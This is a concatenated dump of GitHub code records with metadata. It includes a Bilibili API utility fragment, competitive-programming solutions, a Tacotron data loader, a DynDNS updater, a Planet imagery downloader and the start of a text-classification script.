'fZodR9XQDSUm21yCkr6zBqiveYah8bt4xsWpHnJE7jL5VG3guMTKNPAwcF'\n tr = {}\n for i in range(58):\n tr[table[i]] = i\n s = [11, 10, 3, 8, 4, 6]\n xor = 177451812\n add = 8728348608\n\n def dec(x):\n r = 0\n for i in range(6):\n r += tr[x[s[i]]] * 58 ** i\n return (r - add) ^ xor\n\n return dec(bvid)\n\n\ndef aid2bvid(aid: int):\n \"\"\"\n AV号转BV号\n 代码来源:https://www.zhihu.com/question/381784377/answer/1099438784\n :param aid:\n :return:\n \"\"\"\n table = 'fZodR9XQDSUm21yCkr6zBqiveYah8bt4xsWpHnJE7jL5VG3guMTKNPAwcF'\n tr = {}\n for i in range(58):\n tr[table[i]] = i\n s = [11, 10, 3, 8, 4, 6]\n xor = 177451812\n add = 8728348608\n\n def enc(x):\n x = (x ^ xor) + add\n r = list('BV1 4 1 7 ')\n for i in range(6):\n r[s[i]] = table[x // 58 ** i % 58]\n return ''.join(r)\n\n return enc(aid)\n\n\n# 评论相关\n\n\nCOMMENT_TYPE_MAP = {\n \"video\": 1,\n \"article\": 12,\n \"dynamic_draw\": 11,\n \"dynamic_text\": 17\n}\n\nCOMMENT_SORT_MAP = {\n \"like\": 2,\n \"time\": 0\n}\n\n\ndef send_comment(text: str, oid: int, type_: str, root: int = None,\n parent: int = None, verify: Verify = None):\n \"\"\"\n 通用发送评论\n :param text:\n :param oid:\n :param type_:\n :param root:\n :param parent:\n :param verify:\n :return:\n \"\"\"\n if verify is None:\n raise exceptions.BilibiliApiException(\"请提供verify\")\n assert verify.has_sess(), exceptions.BilibiliApiException(MESSAGES[\"no_sess\"])\n assert verify.has_csrf(), exceptions.BilibiliApiException(MESSAGES[\"no_csrf\"])\n\n type_ = COMMENT_TYPE_MAP.get(type_, None)\n assert type_ is not None, exceptions.BilibiliApiException(\"不支持的评论类型\")\n\n # 参数检查完毕\n data = {\n \"oid\": oid,\n \"type\": type_,\n \"message\": text,\n \"plat\": 1,\n \"csrf\": verify.csrf\n }\n if root is not None:\n data[\"root\"] = data[\"parent\"] = root\n if parent is not None:\n data[\"parent\"] = parent\n api = get_api()[\"common\"][\"comment\"][\"send\"]\n resp = post(api[\"url\"], data=data, cookies=verify.get_cookies())\n return resp\n\n\ndef operate_comment(action: str, oid: int, type_: str, rpid: int,\n status: bool = True, verify: Verify = None):\n \"\"\"\n 通用评论操作\n :param action: 操作类型,见api.json\n :param oid:\n :param type_:\n :param rpid:\n :param status: 设置状态\n :param verify:\n :return:\n \"\"\"\n if verify is None:\n raise exceptions.BilibiliApiException(\"请提供verify\")\n assert verify.has_sess(), exceptions.BilibiliApiException(MESSAGES[\"no_sess\"])\n assert verify.has_csrf(), exceptions.BilibiliApiException(MESSAGES[\"no_csrf\"])\n\n type_ = COMMENT_TYPE_MAP.get(type_, None)\n assert type_ is not None, exceptions.BilibiliApiException(\"不支持的评论类型\")\n\n comment_api = get_api()[\"common\"][\"comment\"]\n api = comment_api.get(action, None)\n assert api is not None, exceptions.BilibiliApiException(\"不支持的评论操作方式\")\n # 参数检查完毕\n data = {\n \"oid\": oid,\n \"type\": type_,\n \"rpid\": rpid,\n \"csrf\": verify.csrf\n }\n if action != \"del\":\n data[\"action\"] = 1 if status else 0\n\n resp = post(api[\"url\"], cookies=verify.get_cookies(), data=data)\n return resp\n\n\ndef get_comments_raw(oid: int, type_: str, order: str = \"time\", pn: int = 1, verify: Verify = None):\n \"\"\"\n 通用获取评论\n :param oid:\n :param type_:\n :param order:\n :param pn:\n :param verify:\n :return:\n \"\"\"\n if verify is None:\n verify = Verify()\n\n type_ = COMMENT_TYPE_MAP.get(type_, None)\n assert type_ is not None, exceptions.BilibiliApiException(\"不支持的评论类型\")\n\n order = COMMENT_SORT_MAP.get(order, None)\n assert order is not None, exceptions.BilibiliApiException(\"不支持的排序方式,支持:time(时间倒序),like(热度倒序)\")\n # 参数检查完毕\n params = {\n \"oid\": oid,\n \"type\": type_,\n \"sort\": order,\n \"pn\": pn\n }\n comment_api = get_api()[\"common\"][\"comment\"]\n api = comment_api.get(\"get\", None)\n resp = get(api[\"url\"], params=params, cookies=verify.get_cookies())\n return resp\n\n\ndef get_comments(oid: int, type_: str, order: str = \"time\", limit: int = 1919810, callback=None, verify: Verify = None):\n \"\"\"\n 通用循环获取评论\n :param type_:\n :param order:\n :param callback: 回调函数\n :param oid:\n :param limit: 限制数量\n :param verify:\n :return:\n \"\"\"\n if verify is None:\n verify = Verify()\n\n count = 0\n replies = []\n page = 1\n while count < limit:\n resp = get_comments_raw(oid=oid, pn=page, order=order, verify=verify, type_=type_)\n if \"replies\" not in resp:\n break\n if resp[\"replies\"] is None:\n break\n count += len(resp[\"replies\"])\n replies += resp[\"replies\"]\n if callable(callback):\n callback(resp[\"replies\"])\n page += 1\n return replies[:limit]\n\n\ndef get_vote_info(vote_id: int, verify: Verify = None):\n \"\"\"\n 获取投票信息\n :param vote_id:\n :param verify:\n :return:\n \"\"\"\n if verify is None:\n verify = Verify()\n\n api = get_api()[\"common\"][\"vote\"][\"info\"][\"get_info\"]\n params = {\n \"vote_id\": vote_id\n }\n resp = get(url=api[\"url\"], params=params, cookies=verify.get_cookies())\n return resp\n\n\n\"\"\"\nみゃーねか?どうしたみゃーね~\nーー「私に天使が舞い降りた!」\n\"\"\"","repo_name":"lizhao8/record_server","sub_path":"doc/api/bilibili_api-2/bilibili_api/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":14379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"26176909807","text":"import string\r\nS = input()\r\ntmp = S[0]\r\nanslst = []\r\n\r\nfor i in S[1:]:\r\n if string.ascii_lowercase.count(i) == 1:\r\n tmp += i\r\n else:\r\n if tmp == '':\r\n tmp += i\r\n else:\r\n tmp += i\r\n anslst.append(tmp)\r\n tmp = ''\r\n\r\nanslst.sort(key=str.lower)\r\nprint(''.join(anslst))\r\n","repo_name":"MDzer0/atcoder","sub_path":"submissions/past201912-open/f.py","file_name":"f.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"4251962675","text":"# -*- coding: utf-8 -*-\n#/usr/bin/python2\n'''\nBy kyubyong park. kbpark.linguist@gmail.com. \nhttps://www.github.com/kyubyong/tacotron\n'''\n\nfrom __future__ import print_function\n\nfrom hyperparams import Hyperparams as hp\nimport numpy as np\nimport tensorflow as tf\nfrom utils import *\nimport codecs\nimport re\nimport os\nimport unicodedata\n\ndef load_vocab():\n char2idx = {char: idx for idx, char in enumerate(hp.vocab)}\n idx2char = {idx: char for idx, char in enumerate(hp.vocab)}\n return char2idx, idx2char\n\ndef text_normalize(text):\n text = ''.join(char for char in unicodedata.normalize('NFD', text)\n if unicodedata.category(char) != 'Mn') # Strip accents\n\n text = text.lower()\n text = re.sub(\"[^{}]\".format(hp.vocab), \" \", text)\n text = re.sub(\"[ ]+\", \" \", text)\n return text\n\ndef load_data(mode=\"train\"):\n # Load vocabulary\n char2idx, idx2char = load_vocab()\n\n if mode in (\"train\", \"eval\"):\n # Parse\n fpaths, text_lengths, texts = [], [], []\n transcript = os.path.join(hp.data, 'transcript.csv')\n lines = codecs.open(transcript, 'r', 'utf-8').readlines()\n total_hours = 0\n if mode==\"train\":\n lines = lines[1:]\n else: # We attack only one sample!\n lines = lines[:1]\n\n for line in lines:\n fname, _, text = line.strip().split(\"|\")\n\n fpath = os.path.join(hp.data, \"wavs\", fname + \".wav\")\n fpaths.append(fpath)\n\n text = text_normalize(text) + \"E\" # E: EOS\n text = [char2idx[char] for char in text]\n text_lengths.append(len(text))\n texts.append(np.array(text, np.int32).tostring())\n\n return fpaths, text_lengths, texts\n else:\n # Parse\n lines = codecs.open(hp.test_data, 'r', 'utf-8').readlines()[1:]\n sents = [text_normalize(line.split(\" \", 1)[-1]).strip() + \"E\" for line in lines] # text normalization, E: EOS\n lengths = [len(sent) for sent in sents]\n maxlen = sorted(lengths, reverse=True)[0]\n texts = np.zeros((len(sents), maxlen), np.int32)\n for i, sent in enumerate(sents):\n texts[i, :len(sent)] = [char2idx[char] for char in sent]\n return texts\n\ndef get_batch():\n \"\"\"Loads training data and put them in queues\"\"\"\n with tf.device('/cpu:0'):\n # Load data\n fpaths, text_lengths, texts = load_data() # list\n maxlen, minlen = max(text_lengths), min(text_lengths)\n\n # Calc total batch count\n num_batch = len(fpaths) // hp.batch_size\n\n fpaths = tf.convert_to_tensor(fpaths)\n text_lengths = tf.convert_to_tensor(text_lengths)\n texts = tf.convert_to_tensor(texts)\n\n # Create Queues\n fpath, text_length, text = tf.train.slice_input_producer([fpaths, text_lengths, texts], shuffle=True)\n\n # Parse\n text = tf.decode_raw(text, tf.int32) # (None,)\n\n if hp.prepro:\n def _load_spectrograms(fpath):\n fname = os.path.basename(fpath)\n mel = \"mels/{}\".format(fname.replace(\"wav\", \"npy\"))\n mag = \"mags/{}\".format(fname.replace(\"wav\", \"npy\"))\n return fname, np.load(mel), np.load(mag)\n\n fname, mel, mag = tf.py_func(_load_spectrograms, [fpath], [tf.string, tf.float32, tf.float32])\n else:\n fname, mel, mag = tf.py_func(load_spectrograms, [fpath], [tf.string, tf.float32, tf.float32]) # (None, n_mels)\n\n # Add shape information\n fname.set_shape(())\n text.set_shape((None,))\n mel.set_shape((None, hp.n_mels*hp.r))\n mag.set_shape((None, hp.n_fft//2+1))\n\n # Batching\n _, (texts, mels, mags, fnames) = tf.contrib.training.bucket_by_sequence_length(\n input_length=text_length,\n tensors=[text, mel, mag, fname],\n batch_size=hp.batch_size,\n bucket_boundaries=[i for i in range(minlen + 1, maxlen - 1, 20)],\n num_threads=16,\n capacity=hp.batch_size * 4,\n dynamic_pad=True)\n\n return texts, mels, mags, fnames, num_batch\n\n","repo_name":"Kyubyong/tacotron","sub_path":"data_load.py","file_name":"data_load.py","file_ext":"py","file_size_in_byte":4333,"program_lang":"python","lang":"en","doc_type":"code","stars":1816,"dataset":"github-code","pt":"29"} +{"seq_id":"41894082082","text":"import pandas as pd\r\nimport time\r\nimport argparse\r\nfrom collections import Counter\r\nimport re\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument(\"--inputname\", help=\"type input filename\", type=str)\r\nargs = parser.parse_args()\r\ninputname = args.inputname\r\n\r\ndata = pd.read_csv('tmp/{}'.format(inputname))\r\nprint(len(data))\r\nover_list = []\r\nfor s1, s2 in zip(data['remain_pos'], data['reg_hyb_target_pos']):\r\n s1 = s1.split('-')\r\n s2 = s2.split('-')\r\n start1 = int(s1[0])\r\n stop1 = int(s1[1])\r\n start2 = int(s2[0])\r\n stop2 = int(s2[1])\r\n if start2 <= stop1 and stop2 >= start1:\r\n center1 = (stop1+start1)/2\r\n center2 = (stop2+start2)/2\r\n if center1 < center2:\r\n over_list.append('{}-{}'.format(str(start2), str(stop1)))\r\n elif center2 < center1:\r\n over_list.append('{}-{}'.format(str(start1), str(stop2)))\r\n else:\r\n print(start1, stop1, center1)\r\n print(start2, stop2, center2)\r\n break\r\n #over_list,append('')\r\n else:\r\n over_list.append('0')\r\ndata['overlap'] = over_list\r\noutputname = inputname.split('/')[-1].replace('.csv', '')\r\ndata.to_csv('tmp/{}_with_overlap.csv'.format(outputname), index=False)\r\n","repo_name":"RyanCCJ/CIMS","sub_path":"pipeline/data_processing/overlap.py","file_name":"overlap.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33649436599","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\n\n# Import libraries\nfrom absl import app\nfrom absl import flags\n\nimport tensorflow as tf, tf_keras\n\nfrom official.legacy.image_classification.resnet import imagenet_preprocessing\nfrom official.legacy.image_classification.resnet import resnet_model\n\nFLAGS = flags.FLAGS\n\nflags.DEFINE_string(\"model_path\", None,\n \"File path to TF model checkpoint or H5 file.\")\nflags.DEFINE_string(\"export_path\", None,\n \"TF-Hub SavedModel destination path to export.\")\n\n\ndef export_tfhub(model_path, hub_destination):\n \"\"\"Restores a tf_keras.Model and saves for TF-Hub.\"\"\"\n model = resnet_model.resnet50(\n num_classes=imagenet_preprocessing.NUM_CLASSES, rescale_inputs=True)\n model.load_weights(model_path)\n model.save(\n os.path.join(hub_destination, \"classification\"), include_optimizer=False)\n\n # Extracts a sub-model to use pooling feature vector as model output.\n image_input = model.get_layer(index=0).get_output_at(0)\n feature_vector_output = model.get_layer(name=\"reduce_mean\").get_output_at(0)\n hub_model = tf_keras.Model(image_input, feature_vector_output)\n\n # Exports a SavedModel.\n hub_model.save(\n os.path.join(hub_destination, \"feature-vector\"), include_optimizer=False)\n\n\ndef main(argv):\n if len(argv) > 1:\n raise app.UsageError(\"Too many command-line arguments.\")\n\n export_tfhub(FLAGS.model_path, FLAGS.export_path)\n\n\nif __name__ == \"__main__\":\n app.run(main)\n","repo_name":"tensorflow/models","sub_path":"official/legacy/image_classification/resnet/tfhub_export.py","file_name":"tfhub_export.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","stars":76227,"dataset":"github-code","pt":"29"} +{"seq_id":"71897429519","text":"fname = input(\"Enter file name: \")\nfhand = open(fname)\ncount=0\ns = 0\nfor line in fhand:\n if not line.startswith(\"X-DSPAM-Confidence:\") :\n continue\n pos = line.find(':')\n str = line[pos+1: ]\n value = float(str)\n s = s + value\n count = count + 1\nprint('Average spam confidence:',s/count)\n","repo_name":"iamtariqueanjum/p4e_coursera","sub_path":"ex_7_2.py","file_name":"ex_7_2.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"1463258901","text":"class Solution:\n def longestPalindrome(self, word: str) -> str:\n dp = {}\n\n # small edge cases\n if len(word) == 1:\n return word\n\n if len(word) == 2:\n if word[0] == word[1]:\n return word\n else:\n return word[0]\n\n # init single and double letters\n for i in range(len(word) - 1):\n dp[(i, i)] = word[i]\n if word[i] == word[i+1]:\n dp[(i, i+1)] = word[i] + word[i+1]\n\n i = len(word) - 1\n dp[(i, i)] = word[i]\n if word[i-1] == word[i]:\n dp[(i-1, i)] = word[i-1] + word[i]\n\n # print(dp)\n\n\n while True:\n new_dp = {}\n for (x, y) in dp.keys():\n if x - 1 >= 0 and y + 1 < len(word) and word[x-1] == word[y+1]:\n new_dp[(x - 1, y + 1)] = word[x-1] + dp[(x, y)] + word[y+1]\n if len(new_dp) == 0:\n break\n dp = new_dp\n # print(dp)\n return max(dp.values(), key=lambda item: len(item))\n\n\n","repo_name":"redmorr/coding-challanges","sub_path":"LeetCode/Longest Palindromic Substring/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26686773077","text":"\"\"\"Для списка реализовать обмен значений соседних элементов,\nт.е. Значениями обмениваются элементы с индексами 0 и 1, 2 и 3 и т.д.\nПри нечетном количестве элементов последний сохранить на своем месте.\nДля заполнения списка элементов необходимо использовать функцию input().\"\"\"\n\nitem = input(\"Введите список, разделяя значения запятой >>> \").split(\",\")\n\nmax_idx = len(item) - 1\n\nfor idx in range(0, max_idx, 2):\n next_idx = idx + 1\n item[idx], item[next_idx] = item[next_idx], item[idx]\n\nprint(item)\n\n","repo_name":"oBoLLl/PythonBasic","sub_path":"Lesson2/Task2.py","file_name":"Task2.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"37893791798","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport threading\nfrom datetime import datetime\nimport logging\nfrom logging.handlers import RotatingFileHandler\nimport requests\n\n\nHOSTNAME = \"YOUR_HOSTNAME\" # hostname (including subdomain)\nAPIKEY = \"YOUR_DDNS_APIKEY\" # DDNS Token\nCURR_IP = '00.00.00.000' # Your current IP set in your domain DynDNS settings\nINTERVAL_S = 20160 # quarter day\nLOG_FILE = \"logs/dyndns.log\" # dasdf\n\n\n# Creating a RotationFileHandler to make sure the log wont get bigger than 5 MB\n# Keep the last 2 rotated logs.\nmy_handler = RotatingFileHandler(LOG_FILE, mode='a', maxBytes=1024*1024*5,\n backupCount=2, encoding=None, delay=0)\nmy_handler.setLevel(logging.INFO)\napp_log = logging.getLogger('root')\napp_log.setLevel(logging.INFO)\napp_log.addHandler(my_handler)\n\n\ndef get_ip() -> str:\n \"\"\"Get your current IPv4 address\n\n :return: your current IPv4 address\n :rtype: str\n \"\"\"\n response = requests.get(\"https://ifconfig.co/json\").json()\n return response['ip']\n\n\ndef update_record(ipv4: str) -> int:\n \"\"\"Updates the A record via a get requests.\n The url must be changed to your needs\n\n :param ip: Your current IPv4 address\n :type ip: str\n :return: HTTP status code\n :rtype: int\n \"\"\"\n try:\n # ------------------------------------------\n # - - - - - MAKE CHANGES HERE - - - - - - -\n # ------------------------------------------\n # Have a look at the API instructions of\n # your domain provider and change the \"url\"\n # variable to your needs ...\n # ------------------------------------------\n url = f\"https://theapiurl.com?host={HOSTNAME}?password={APIKEY}?ipv4={ipv4}\"\n return requests.get(url=url, timeout=25).status_code\n except:\n return 404\n\n\ndef wake_up():\n \"\"\"This method will run indefinitely. It will check the DNS record every\n INTERVAL_S seconds. In case the IPv4 address didnt change it wont send a\n get request to the domain provider.\n \"\"\"\n global CURR_IP\n ipv4 = get_ip()\n current_time = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n app_log.info(f\"Current timestamp: {current_time}\")\n app_log.info(f\"External IP: {ipv4}\")\n if ipv4 != CURR_IP:\n app_log.warning(\"IPv4 A record needs to be updated.\")\n response = update_record(ipv4)\n if response == 404:\n app_log.error(\"Update failed.\\n\")\n else:\n app_log.info(\"Update successfull.\\n\")\n CURR_IP = ipv4\n else:\n app_log.info(\"IPv4 A record still valid.\\n\")\n sleep_thread = threading.Timer(INTERVAL_S, wake_up)\n sleep_thread.start()\n\n\nsleep_thread = threading.Timer(0, wake_up)\nsleep_thread.start()\n","repo_name":"svenpieper/docker-nginx-vaultwarden-ssl","sub_path":"etc/update_dns_record.py","file_name":"update_dns_record.py","file_ext":"py","file_size_in_byte":2726,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"38107520373","text":"#!/usr/bin/env python3\n\n\"\"\"\nBeschrijving\n\"\"\"\n\n__author__ = \"Niek Scholten\"\n\nimport sys\nimport turtle\n\n\ncolors = ('red', 'orange', 'yellow', 'green', 'cyan', 'blue', 'magenta', 'purple', 'pink')\nx = 10\ny = 10\n\n\ndef draw(turtle):\n x = 10\n y = 10\n turtle.pensize(50)\n turtle.shapesize(50)\n for step in range(50):\n x += 0\n y += 0\n for color in colors:\n turtle.color(color)\n turtle.forward(y)\n turtle.left(x)\n\n\ndef main(args):\n don = turtle.Turtle(shape='turtle')\n draw(don)\n\n\nif __name__ == \"__main__\":\n excode = main(sys.argv)\n sys.exit(excode)","repo_name":"niek265/Bio-Informatica-Hanze","sub_path":"Thema 02 - Energiehuishouding van de cel/Informatica 2/Werkcollege/03-12-2018/fractals.py","file_name":"fractals.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"15539477444","text":"import json\nimport os\nimport requests\nimport pandas as pd\nfrom datetime import date\nfrom requests.auth import HTTPBasicAuth\nfrom retrying import retry\n\n\n\n#DEF globals\n#set wd\nos.chdir('SET HOME DIR')\n#output dir\noutdir_tr = 'SET OUTPUT TR DIR'\noutdir_val = 'SET OUTPUT VAL DIR'\n\n#API key\nos.environ['PL_API_KEY'] = \"PLANETAPIKEY\"\n\n#activvate session\nsession = requests.Session()\nsession.auth = (os.environ['PL_API_KEY'], '')\n\n#read AOI\nwith open('data/alex_sample.geojson') as f:\n alex_geom = json.load(f)\n\n#training and val date\nstart_tr = \"2017-02-01T00:00:00.000Z\"\nend_tr = \"2017-12-31T00:00:00.000Z\"\nstart_val = \"2018-01-01T00:00:00.000Z\"\nend_val = \"2018-03-01T00:00:00.000Z\"\n\n\n#extract data from search page response\ndef handle_page(page):\n \n ids = []\n use = []\n dates = []\n \n for item in page[\"features\"]:\n \n idt = item[\"id\"]\n uset = item[\"properties\"]['usable_data']\n datest = item[\"properties\"]['acquired']\n ids.append(idt)\n use.append(uset)\n dates.append(datest)\n \n prop = pd.DataFrame(\n {'acquired': dates,\n 'id': ids,\n 'usable_data': use\n })\n \n return prop\n\n#get search page response\ndef fetch_page(search_url,proper):\n \n page = session.get(search_url).json()\n prop = handle_page(page)\n proper = pd.concat([proper,prop])\n #print(proper)\n\n next_url = page[\"_links\"].get(\"_next\")\n if next_url:\n fetch_page(next_url,proper)\n else:\n global properties\n properties = proper\n\n#retry if unsuccess api call\ndef retry_if_400(result):\n return result.status_code >= 400\n\n#retry if not dowloaded\ndef retry_dl(result):\n return result == 0\n\n#attempt to activate clip and ship task\n@retry(retry_on_result=retry_if_400, stop_max_attempt_number=8, wait_exponential_multiplier=1000, wait_exponential_max=256000)\ndef activate_item(image_target,item_type,alex_geom):\n print(\"requesting: \" + image_target)\n\n # request an item\n targets = {\n \"item_id\": image_target,\n \"item_type\": item_type,\n \"asset_type\": \"analytic_sr\"\n }\n\n clip_endpoint_request = {\n \"aoi\": alex_geom,\n \"targets\": [targets]\n }\n\n # request activation\n result = requests.post(\n 'https://api.planet.com/compute/ops/clips/v1',\n auth=HTTPBasicAuth(os.environ['PL_API_KEY'], ''),\n json=clip_endpoint_request)\n \n print(\"request for item sent: \" + image_target)\n \n if result.status_code <= 400:\n print(\"request successful:\" + image_target)\n else:\n print(\"request unsuccessful:\" + image_target)\n \n return result\n\n#download activated clip and ship\n@retry(retry_on_result=retry_dl,stop_max_delay=1800000,wait_exponential_multiplier=1000, wait_exponential_max=60000)\ndef download_clip_item(result,image_target,item_type,alex_geom,outdir):\n \n dl_flag = 0\n #api request id\n poll_id = result.json()['id']\n \n #api response\n item = session.get('https://api.planet.com/compute/ops/clips/v1/' + poll_id)\n #name file\n filename = outdir + image_target + '.zip'\n print(item.json()['state'])\n\n if item.json()['state'] == 'succeeded':\n print(\"downloading: \" + image_target)\n #download link\n link_dl = item.json()['_links']['results']\n #download and write to file\n r = requests.get(link_dl[0])\n with open(filename, 'wb') as f: \n f.write(r.content)\n \n dl_flag = 1\n \n else:\n print(\"still running. waiting a bit:\" + image_target)\n \n return dl_flag\n\n\n#create filters\ngeometry_filter = {\n \"type\": \"GeometryFilter\",\n \"field_name\": \"geometry\",\n \"config\": alex_geom\n}\n\n# get images acquired within a date range\ndate_range_filter_tr = {\n \"type\": \"DateRangeFilter\",\n \"field_name\": \"acquired\",\n \"config\": {\n \"gte\": start_tr,\n \"lte\": end_tr\n }\n}\n\n# get images acquired within a date range\ndate_range_filter_val = {\n \"type\": \"DateRangeFilter\",\n \"field_name\": \"acquired\",\n \"config\": {\n \"gte\": start_val,\n \"lte\": end_val\n }\n}\n\n# only get images which have <20% cloud coverage\ncloud_cover_filter = {\n \"type\": \"RangeFilter\",\n \"field_name\": \"cloud_cover\",\n \"config\": {\n \"lte\": 0.60\n }\n}\n\n#only get inmages that have a surface reflectance product\nsr_filter = { \n \"type\":\"PermissionFilter\",\n \"config\":[ \n \"assets.analytic_sr:download\"\n ]\n}\n \n\n#pm_filter = { \n# \"type\":\"PermissionFilter\",\n# \"config\":[ \n# \"assets:download\",\n# \"assets.visual:download\",\n# \"assets.analytic:download\"\n# ]\n#}\n\n# combine our geo, date, cloud filters\ncombined_filter_tr = {\n \"type\": \"AndFilter\",\n \"config\": [geometry_filter, date_range_filter_tr, cloud_cover_filter,sr_filter]\n}\n\ncombined_filter_val = {\n \"type\": \"AndFilter\",\n \"config\": [geometry_filter, date_range_filter_val, cloud_cover_filter,sr_filter]\n}\n\nitem_type = \"PSScene4Band\"\n\n\n#search with filters\n\n# API request object\nalex_small_model_tr = {\n \"name\": \"alex_small_model_tr\",\n \"item_types\": [item_type],\n \"filter\": combined_filter_tr\n}\n\n# Create a Saved Search\nsaved_search_tr = session.post(\n 'https://api.planet.com/data/v1/searches/',\n json=alex_small_model_tr)\n\n# API request object\nalex_small_model_val = {\n \"name\": \"alex_small_model_val\",\n \"item_types\": [item_type],\n \"filter\": combined_filter_val\n}\n\n# Create a Saved Search\nsaved_search_val = session.post(\n 'https://api.planet.com/data/v1/searches/',\n json=alex_small_model_val)\n\n\n# after you create a search, save the id. This is what is needed\n# to execute the search.\nsaved_search_id_tr = saved_search_tr.json()[\"id\"]\nsaved_search_id_val = saved_search_val.json()[\"id\"]\n\n\n##TRAINING DATA\n#api request url\nfirst_page_tr = (\"https://api.planet.com/data/v1/searches/{}\" +\n \"/results?_page_size={}\").format(saved_search_id_tr, 6)\n\n#template dataframe to populate. results dataframe named 'properties'\nproper = pd.DataFrame(\n{'acquired': [],\n 'id': [],\n 'usable_data': []\n})\n\n# kick off the pagination of api response\nfetch_page(first_page_tr,proper)\n\n# Get top 20 images with most data in the month for training period\nproperties['acquired'] = pd.to_datetime(properties['acquired'])\nproperties['YearMonth'] = properties['acquired'].map(lambda x: 100*x.year + x.month)\n\npropdf = properties.sort_values('usable_data',ascending=False).groupby('YearMonth').head(20)\npropdf.sort_values('acquired',ascending=True) \n\ntarget_list_tr = propdf['id'].tolist()\n\n\n##VALIDATION DATA\n#api request url\nfirst_page_val = (\"https://api.planet.com/data/v1/searches/{}\" +\n \"/results?_page_size={}\").format(saved_search_id_val, 6)\n\n#template dataframe to populate. results dataframe named 'properties'\nproper = pd.DataFrame(\n{'acquired': [],\n 'id': [],\n 'usable_data': []\n})\n\n# kick off the pagination of api response\nfetch_page(first_page_val,proper)\n\n# Get top 2 images with most data each day\nproperties['acquired'] = pd.to_datetime(properties['acquired'])\nproperties['YearMonthDay'] = properties['acquired'].map(lambda x: 10000*x.year + 100*x.month + x.day)\n\npropdf = properties.sort_values('usable_data',ascending=False).groupby('YearMonthDay').head(2)\npropdf.sort_values('acquired',ascending=True) \n\ntarget_list_val = propdf['id'].tolist()\n\n\n#loop through trainging items and download\nprint(\"TRAINING DATA\")\nfor image_target in target_list_tr:\n #attempt to activate\n try:\n print(\"attempting training activation:\" + image_target)\n #tell planet to execute clip and ship\n result = activate_item(image_target,item_type,alex_geom)\n \n #download result of clip and ship\n try:\n print(\"attempting download:\" + image_target)\n dl = download_clip_item(result,image_target,item_type,alex_geom,outdir_tr)\n print(\"finished: \" + image_target)\n print(\"\\n\")\n print(\"\\n\")\n \n #if cannot download\n except:\n print(\"download failed: \" + image_target)\n print(\"\\n\")\n print(\"\\n\")\n \n #if cannot activate\n except:\n print(\"activation failed:\" + image_target)\n print(\"not attempting download:\" + image_target)\n print(\"\\n\")\n\nprint(\"\\n\") \nprint('COMPLETED TRAINING DATA')\nprint(\"\\n\")\n\n\n#loop through validation items and download\nprint(\"VALIDATION DATA\")\nfor image_target in target_list_val:\n #attempt to activate\n try:\n print(\"attempting validation activation:\" + image_target)\n #tell planet to execute clip and ship\n result = activate_item(image_target,item_type,alex_geom)\n \n #download result of clip and ship\n try:\n print(\"attempting download:\" + image_target)\n dl = download_clip_item(result,image_target,item_type,alex_geom,outdir_val)\n print(\"finished: \" + image_target)\n print(\"\\n\")\n print(\"\\n\")\n \n #if cannot download\n except:\n print(\"download failed: \" + image_target)\n print(\"\\n\")\n print(\"\\n\")\n \n #if cannot activate\n except:\n print(\"activation failed:\" + image_target)\n print(\"not attempting download:\" + image_target)\n print(\"\\n\")\n\nprint(\"\\n\") \nprint('COMPLETED VALIDATION DATA')\nprint(\"\\n\")\n\n","repo_name":"GMoncrieff/thicket_monitoring","sub_path":"src/planet_dl.py","file_name":"planet_dl.py","file_ext":"py","file_size_in_byte":9281,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"21885701424","text":"from sklearn import svm\nfrom sklearn import tree\nfrom TestData import Test\nfrom ReadData import Read\nfrom CountData import Count\nfrom ValidateData import Validate\nfrom prettytable import PrettyTable\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\n# Read Files and construct 2 lists of sentences and labels\nTrain_Texts, Train_Labels = Read(\"formatted-train/*.deft\")\nTest_Texts, Test_Labels = Read(\"formatted-test/*.deft\")\n\nCount(Train_Texts, Train_Labels, Test_Texts, Test_Labels)\n\nTfidfObject = TfidfVectorizer(stop_words='english')\n# learns the vocabulary (mean and standard deviation) and build matrix with it\nTrainMatrix = TfidfObject.fit_transform(Train_Texts)\n# build matrix with same vocabulary from the training data neglecting any new vocabulary in testing data\nTestMatrix = TfidfObject.transform(Test_Texts)\n\nt = PrettyTable(['Model', 'Confusion Matrix', 'Accuracy', 'Precision', 'Recall', 'F-Measure', 'Cross-Validation F1-Score'])\n\nModel = \"Naive Bayes\"\nmodel = MultinomialNB(alpha=0.1, fit_prior=True)\nFitModel = model.fit(TrainMatrix, Train_Labels)\npredictions = model.predict(TestMatrix)\nCVScore = Validate(TrainMatrix, Train_Labels, FitModel)\nTest(predictions, Test_Labels, Model, t, CVScore)\n\nModel = \"Logistic Regression\"\nmodel = LogisticRegression(penalty='l2', C=10, solver='lbfgs', max_iter=1000)\nFitModel = model.fit(TrainMatrix, Train_Labels)\npredictions = model.predict(TestMatrix)\nCVScore = 